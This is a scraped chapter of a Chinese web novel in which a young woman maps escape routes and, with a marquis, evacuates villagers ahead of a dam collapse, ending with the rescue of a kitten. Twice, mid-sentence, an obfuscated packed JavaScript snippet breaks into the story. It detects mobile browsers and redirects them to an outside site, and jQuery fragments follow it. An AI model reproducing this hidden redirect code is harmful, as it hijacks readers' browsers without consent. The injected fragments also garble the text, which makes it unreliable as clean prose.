“上山时我看过地形，这水坝一旦冲垮，牛角坳两条溪床根本容不下。更可虑的是，乌镇这一带都是湿壤土山，不是石山，连月来经雨水冲刷，怕是一旦山体松动，周边几个村落都要掩埋底下。” 沈砚脚下飞快，往刚才有人指点的村塾方向而去：“现在我要寻个经常在附近走动的人，猎户也好，货郎也罢，崔侯，可否请你帮忙？” 钟意不等吩咐，自觉道：“我去抓个回来，林叔你护好侯爷！” 林敢肃然点头。 若依着他本心，是不愿掺合这事的，水祸滔滔，任谁神力千钧也挡不住一坝崩溃。但既然人都留下了，再发怨言没有任何意义，唯有一心一力叫众人都全身而退，才是要紧。 崔岑大步跟在沈砚身边，顺势问道：“那我们为何要去村塾？” “因为那里才有纸笔。” 对于在这村中是否能找到“纸”，沈砚是不大抱希望的。太守府中子弟习字描红用的是“麻纸”，这原就是十分奢侈的事。此时别说还未有“蔡纸”出世一统造纸术，就算蔡纸现世，原史上真正推广应用也要在一百五十年后。 但既然敢办学堂，怎么说应该能有几支毛笔。 村塾是个很简陋的小院子，迎面是讲堂，三面土墙盖一个瓦顶，左侧有两间厢房可供起居。沈砚几人来时，就看到那个赵老头拄着拐杖正指使儿子在收拾家什，房门口敞着两口樟木箱。 “……把锅带上，把那条腊肉也带上！”赵老头也才前脚刚到，慌得不知怎么收拾，“屋里的书简都装上，对了还有被子，那可是过年新弹的棉被！” “爹，装不下那么多啊！” “老先生，我们现在是逃命，”沈砚听不下去了，“把钱财贴身藏好，最多再打个轻便的包袱背肩上，这可不是搬家。” “你、你们过来干什么？” 赵老头见到沈砚这个女罗刹就打哆嗦，听说是要借用纸笔，忙叫儿子从屋里拿出笔墨来。果然没有纸，丝帛就不必想了，只有削制好的空竹简。 学堂中有一张老旧案几，沈砚放下砚台，滴水研墨。她瞥见吴娘手上的铜锣，叹道：“村民多怜财物，恨不能把家搬空，吴娘你出去敲打一圈，逃命要紧，叫他们只带钱财和几身衣物足矣，把其余物件都给放下。” “能去几户是几户，让他们抓紧时间到村口大槐树集合，不听劝的就不必管了，”她朝赵老头的方向加大音量，语气渐狠，“告诉他们，生死自理，没人在乎！” 外头的俩父子果然震住了。 吴娘点头应下，又朝崔岑行了一礼：“崔侯爷，我家娘子就暂托于你了。” 崔岑点头，转身对林敢道：“贺元你也去罢，两个人可以左右照应，多走几家。” 林敢犹豫了一瞬，想想这村里没人能伤得了侯爷，便不再啰嗦。 片刻后，院外就敲起了又亮又响的锣声。 沈砚一时无话，呆坐了一会儿。 崔岑坐她对面的跪垫上，这还是两人第一回面对面离这么近。她脸颊上还有一丝手帕抹开的淡色血迹，但已收起了那股锐气，此刻眼中不见从容，亦不见慧黠。几经曲折，穷心费力，此刻她才像个普通少女，放空了思绪，有几分茫然。 这样的沈砚，和他前几次见过的那个太守女公子大为不同。 也只是一个闪神的瞬息，沈砚已回过神来。 她继续研墨，向崔岑解释道：“那水坝崔侯也看见了，若是垮塌就是灭顶之灾，所以我们不能冒险。以村民的这个速度，未必能在落雨前撤离，所幸牛角坳还通着其他村子，只要躲过溃坝的第一波水势，就还有转圜。” 她话音刚落，崔岑眼中迅即掠过一丝惊诧，心潮起伏，已是刮目相看！ 这可不是什么小聪明，以沈砚稚龄，已急智近妖！ 他连呼吸都重了一分，沉声道：“所以你要找人问路，不，是问地势，你是想让山洪自然分流，借一片土地分薄一坝之水！” “不错。” “那水坝终究有个容量，”沈砚放下墨条，并不意外崔岑也能想到，“最虑是山土滑坡，当头而下的牛角坳必不能保，但十里八乡未必会这么严重。青陀山附近有好几条水道，只要能汇流，就能控制水势流向。往桑园那边路窄且长，未必是最佳选择，所以我想问问常在周边行路的村民，看能不能带大家改道。” 说白了，牛角坳这是个微小型的水库，只要及时避开正面冲击，就有活路。 有勇有谋，若不是时机不对，崔岑真要长嗟而起，为她击节抚掌！ 秀美的小娘子就坐在他面前，镇定从容，让他生出无限惊艳。崔岑心海起伏，忍不住赞叹一声：“七娘子，你真不一般。” “侯爷过誉了。”沈砚敷衍了一声。 时不我待，人命关天，今日她没有闲情藏拙，接下来要做的事，怕是也难逃质疑了。 没有纸，但还有墙！ 沈砚起身，一手举砚一手笔，面墙而立。在心中略作斟酌后，在勉强抹平整的黄土墙上，她提笔蘸墨，挥手画下两个点一条曲线，又在边上添了几笔。 “七娘子，”崔岑心头忽生出一丝古怪的警觉，声音有些发紧，“恕我眼拙，敢问这画的是什么？” 蘸满墨的笔尖在墙上勾画，难免顺墙淌下些许墨汁，若多来几笔必然要污花了墙面。不过沈砚心中有计较，需要纸笔是为了更直观地梳理思路，并不在意书写条件如何。她没有回头，半真半假解释道：“凭印象胡乱画罢了，我以桑园和牛角坳为两点，这是我们来时的那条路，这几条是桑园附近的河道。” 实则当然没那么简单。若不定点一方，不顾里程长短，不辨三面方向，画的地图就是鬼画符，半点不适用。她从前背着仪器在荒地山间测量绘图时，这样简单的草图不值一提。 估测绘图！ 崔岑再一次被狠狠惊到。 可沈砚看来是不愿细说了，他也不强求此时，转而笑道：“没想到七娘子还有这样本事，当真大才。” 女儿有此技艺，沈太守就甘愿送去川蜀为妇？ 沈砚淡淡一笑，正要说话，就听见钟意大喊着“幸不辱命！”带着一个方脸的中年男子，大步穿堂而至。 “七娘子， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15142946|164566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这人是个挑担的货郎，姓刘，附近再熟不过了！” 沈砚瞬间收心，正色道：“刘货郎，我有一事要你帮忙，事关一村人的性命安危，望你好生配合。” 刘货郎被钟意抓来时就吓去了半条命，此时哪敢不应。 也顾不得崔岑在一旁虎视眈眈，沈砚让刘货郎从牛角坳出发，一条一条道回忆，一个一个村回想。约摸要走上几里地，在什么方位，中间有哪些地势开阔或有高低落差的地方，她问的很细很杂，这个货郎虽然记得路，但对比她定点给出的参照坐标，常常搞不清东西南北。这是经验头脑的通病，凭感觉而不是数据定位，没有实地走过，真个复原起来她也颇为吃力。 好不容易厘清，那墙上已涂画得如天书一般，墨迹淋漓，墨汁顺墙而下，好一幅神鬼莫辨的地形图！ 天老爷，这就是鬼画符么？刘货郎看不懂但大为震撼，飞也似的抹汗逃走了。 钟意看出了门道，惊得合不拢嘴：沈七娘子似乎对方位、测绘，有着和别人不同的理解，坐在屋里就能绘制舆图，丈量天地……但这可能么？ 若是真的，若是真的？他不敢想！ 墙面粗糙，这支笔头的毫毛已彻底开叉。沈砚搁下笔管，见几案后的崔岑两人目光闪烁，也知自己此举太过惊人了些。但一村人的性命都危悬一线，后事不提，先过眼前这关罢！ 她略略垂目，避过崔岑的视线：“崔侯，我们这便去村口罢，方才已有盏茶时间，我们沿路再叫上村民，不能再耽误了。” 崔岑什么也没说，只是喉间有些发痒：“都听你的。” 明明是很普通一句，不知为何听在耳中，竟有一丝异样。沈砚悄然一瞥，就撞进他的眼眸里。 沈砚心头一跳，忙移开目光。 路过厢房时，赵老头父子俩还在收拾，那两口箱子塞得满满，沈砚甚至看到了一只油壶。 她停步，冷冷道：“赵老先生，你这是要自己背，还是叫你儿子背？就算一肩扛一个，你们能走几步远？是你走得快，还是水淹得快？” 言毕不再苦劝。 崔岑更不会多言。三人就这样疾走而过，叫赵老头原本以为会被说教而心有不舍的几句辩解之词，卡在了喉咙里。 可是村里的情形到处都差不多，都是舍不得，舍不得，还是舍不得！ 吴娘和林敢那边还在敲锣示警，但看起来收效甚微。就算现下许诺了财物，那也是在未来，这些朴实的村民不知让人说什么好，对土地的眷恋，对赤贫的恐惧，还有侥幸、从众心理，让他们本能地都在拼命归拢物件。 鸡飞狗叫，场面混乱得叫人心生无力。 然而天上的阴云越聚越深。 沈砚的脸色也越来越难看，这样下去，有多少人能及时撤离？就算生拉硬拽，又能拽走多少人？若真拖延下去，事不可为，她真有这般觉悟为救百姓与之共存亡么？ 枉费智者千虑，不敌愚民家中一件衣！ 崔岑见她眉间极是焦虑的模样，忽然一笑。 “你笑什么？”沈砚侧目。 “我笑你，心太软，”崔岑一眼就看穿了她的忧虑，这是个慈悲的女娘，他有些愉悦，“我若帮你这回，你想想怎么谢我。” 24. 第二十四章 “喵~” 崔岑能有什么好办法？ 沈砚等着看，就看到他连同林敢、钟意，三人硬生生从村民手里夺下行囊，将人丢出家门外！ “哎！”一个村民被崔岑推出家门，急得返身回去，“我的东西！” “你再往前一步，我就打晕你，”崔岑温言好语的模样，但冰冷的眼神可不像在开玩笑，“看看是谁一会儿有空抬着你逃命。” 那人顿时哑巴了。 林敢和钟意也分别行事，如法炮制，将村民手里各样的家伙什统统丢弃，把人强制推到路面上去。崔岑就拿着一根长竿，赶羊似的把人往村口大槐树方向赶。 吴娘在一旁不住地敲锣，呼喊远近的村民过来汇集。 锣声促促，村民越聚越多，嘈嘈杂杂有抱怨有哀嚎，还有人试图返身。崔岑将手中长约一丈的竹竿耍得花样百出，不轻不重敲敲打打，东阻西拦，这才控住人群。 沈砚像看一场大戏。 不曾想过，只在千军万马中来回奔突的燕侯，有一天会陷在一群手无寸铁的乡民中，疲于奔命。而他收起戏虐之意，神情专注，认真起来瞧着也有几分顺眼。 “老天啊，你们不能不讲理！”一个老婆婆被钟意推过来，哭丧着就要冲回去。 崔岑一竿抵住她肩膀，轻轻一推，冷声道：“不要胡闹，我可不怎么敬老。” “我怎么胡闹了，你们这些强盗！我的家当我的钱！”老人家大喊大叫，连带着她身边几人都躁动了。 崔岑眼中一冷，竹竿穿过老人腋下，一个巧劲极快地将她远远挑开，丟在人群外：“那你就回家，抱着你的鸡鸭等死罢。” 他的眼中毫无耐心和怜悯，被他扫视到的村民都自觉闭上了嘴。那老妪一个人孤零站着，错愕得忘了撒泼，不是，她就说了一句，怎么就不带上她了？ 倚老卖老，看来对崔岑无效。 吴娘拎着锣拿着槌，绕到老妪近旁，低声道：“还不快跟上？” 她从村头走到村尾，嗓子都喊得有些哑了。 老妇人得了台阶，嘴里不知念叨什么，又小步回了队伍里。 “侯爷，我来帮你！”林敢也带着十几个人从侧边过来汇合，“村里的人差不多都在这儿了，钟意跑得快，说是再去寻一遍。” 崔岑点头，脸色有一分凝重：“快走罢，你看这天色，不出半个时辰就要落雨。” 他们时常行军之人，对天象都有一分敏感，估算不偏左右。林敢接过了他家侯爷的长竿，心头也有些沉重。幸好此时村民经再三震慑，再不敢多话，颇为服帖。 他们几人这番动作极快，边赶边走，并没有多费时。沈砚走在一侧，见人心稍齐，不禁松了口气。 崔岑瞧见，哂然笑道：“有时你不能同他们讲道理，也许动手更方便些。” 沈砚认同：“多亏有侯爷在，换个人没有你这样身手，恐怕也做不到。” “若不是因为你……”他才不会管这些闲事。 未完的话自是不必说全。沈砚坦然道：“崔侯对乡民的大恩，郓州必将牢记。” 崔岑一笑置之。 片刻后钟意赶到，他缀在队尾压阵。自此，连同躺在骡车上的沈村长和沈牛杰，牛角坳的人都到齐了。 沈砚和崔岑领路，路过大槐树下，匆匆往村外去。 那个咒偶还在地上，不知被踩了多少脚，也没人在意了。 路线是沈砚选的，从村里出来约两里路，有一条岔道可以往邻村去。 只是分道时，村民十分焦躁不安，吵吵囔囔，“为什么不往桑园那面去？”“这是要带我们去哪里，你得说清楚！”“那头是小梅村，去那边做什么？” 沈砚听得耳朵生疼，伸手指向天空，傲然道：“自己抬头看，还有多少时间？我们中间有老有幼，方才赶路是什么速度你们自己没点数？村西那面的岩头村要走上九里地，桑园路更长，除非你们把自己老娘和七八个孩子都背在身上跑，否则大家通通都去做水鬼！” 仿佛为了印证她的话，天上应景般“喀嚓”一声响起炸雷！ 轰隆隆一道电光撕开乌云，片刻间，雨丝就应声飘下。 湿腻的雨水让沈砚心情极差。她扬眉道：“从现在开始都给我闭嘴！我说过带你们安全撤离就会做到，谁再敢啰嗦，休怪我无情！” 不知为何，听她这一番凶言恶语，崔岑反而忍不住想笑，好不容易才憋住。 林敢和钟意方才一阵有些忙晕了，此时一听，哈，七娘子凶起来时气性不小呢。 唯有吴娘跟在一旁已是麻木，都没心思去猜想七娘怎会如此暴躁。 要走哪条道，沈砚早在画图时已有了考量。去往小梅村的路是越往上地势越高，也没高太多，但她估算，以水坝的方量淹没浅口盘状的牛角坳后再向村西和桑园方向分流，并不会冲击到这条道。 其实还有一条略有风险的近路可以选择，但这么多人的性命系于她一身，她不敢有任何出挑逞能之心，宁可绕远求稳妥。 此际申时过半，雨水渐大，大家都没带雨具，众人排着长队走在泥泞的山路上，颇为狼狈。 吴娘起初还想将那面锣遮在沈砚头上，被沈砚笑着推开，“快别费力了，这能挡几滴雨？” 紧赶慢赶行了约两刻钟，崔岑忽警觉地竖起耳朵，“听！” 听什么？ 沈砚还来不及问，就听到一声巨响从远处传来，仿佛天地间有什么东西冲破桎梏，咆哮的声浪瞬间冲击到耳膜上。那声音又闷又沉又浩荡，隆隆作响，势不可挡。 “溃坝了！”沈砚和林敢异口同声。 话音刚落，众人就看见远远有一道黄色水线汹涌而来，水势滔滔，眨眼间就近在眼前！ “老天！救命啊！” 村民们惊恐尖叫，在后面的人忍不住前挤去，顿时长队乱作一团。站在最前面的崔岑眼疾手快，抢过林敢手中的长竿，横挡一波，好险没有叫人冲挤到他们几个身上去。 林敢略退一步，脖颈上青筋暴起，运气张口，发出惊天动地一声怒吼—— 这一声正宗的“狮子吼”近在耳旁，绵长有力，有些定力稍弱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15142947|164566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的忍不住感到头晕恶心。 趁着这一刹那，沈砚以可能是此生最大的嗓音，高声喝道：“不要动、不要慌！我保证都不会有事！大家不要动！” 说话间那滔滔黄水挟带无数泥沙，腥浪翻滚，从众人身边轰鸣着冲咆而过。这变故只在瞬息间，水祸无情，吞田吞地，阡陌家园即刻成万里汪洋。 除了他们站立的这条山道，放眼望去，只有巍巍高山还是绿色，余下浩浩荡荡都是黄泥大水。 天上还下着雨，但已没人在乎了。 有惊恐的村民一屁股坐地上，无不是后怕。也有人开始痛哭，知道牛角坳已不复存在，家真的没了，一辈子几辈子的积蓄都没了！ 沈砚低头看着脚下只离着丈许的山洪，一颗心落地，才发觉自己紧紧攥着拳头，手心握得生疼。 不过片刻间，水面上开始飘来许多破损之物，锅碗瓢盆，竹竿木板，篾箩家什，连根而起的树木和残断枝桠，还有活着的鸡鸭家畜在水上挣扎，浮浮沉沉。 沈砚正要叫众人继续赶路，眼角余光忽瞥见不远处水面上飘来一只木盆。 那盆边似扒着什么活物，黑色的，小小一团。 “喵，喵——” 这细弱的声音，没有听错罢？沈砚有些不敢置信，伸手扯了扯崔岑的衣袖：“崔侯，你看那边！” 崔岑手臂一僵。 他凝目在水面上搜寻，有些不确定：“好像是只猫？” 这水坝覆顶之下，竟还有只猫能存活？ 水流速度很快，那木盆眨眼间又近了些。这下沈砚睁大眼睛看清了，确实有只小黑猫扒在盆沿，见到有人它叫得更大声了，“喵——！” 可是木盆并不靠着山道，离着“岸”不但有高低落差，还有一二人远的距离。水波汹汹，似一头挟裹着浑沌的可怖凶兽，那只小木盆在它的巅荡戏弄中随时有可能被吞没。 可是没办法，逃路匆忙并没带什么趁手工具，没办法了，没人能救得了，沈砚望着小黑猫越来越近，又眼看越来越远…… “你呀。” 身边忽有人轻叹一声，随即一个身影撑杆一跃而下。 沈砚就看着他一手吊在弧斜的竿头，仿佛一只轻盈的白鹭，在空中略停了停，羽臂在水面一掠而起。 “侯爷！”远在队末的钟意，霎时眼瞳彤红，惊骇万状！ 电光火石间，林敢大喝一声，接替着将竹竿擒抱住连退三步往后一拔，将人带了回来。 这一连串只在兔起鹘落，竹竿承受两股巨力，到此时方才哔哔剥剥炸裂，露出竹芯已是废了。林敢撒气似的将它往地上一掷，心存余悸只觉全身发麻，忍不住怒道：“侯爷你——” 太乱来了！ 岸上的人都被这利落又漂亮的身手惊呆了，包括沈砚。直到崔岑向她伸出手，那掌心里摊着一只圆溜溜大眼睛的小黑猫。 “你呀，”崔岑觉得她真是有趣，“明明很喜欢。” 可是不说。 觉得别人为她办不到。 但他燕崔岑，未必是不能。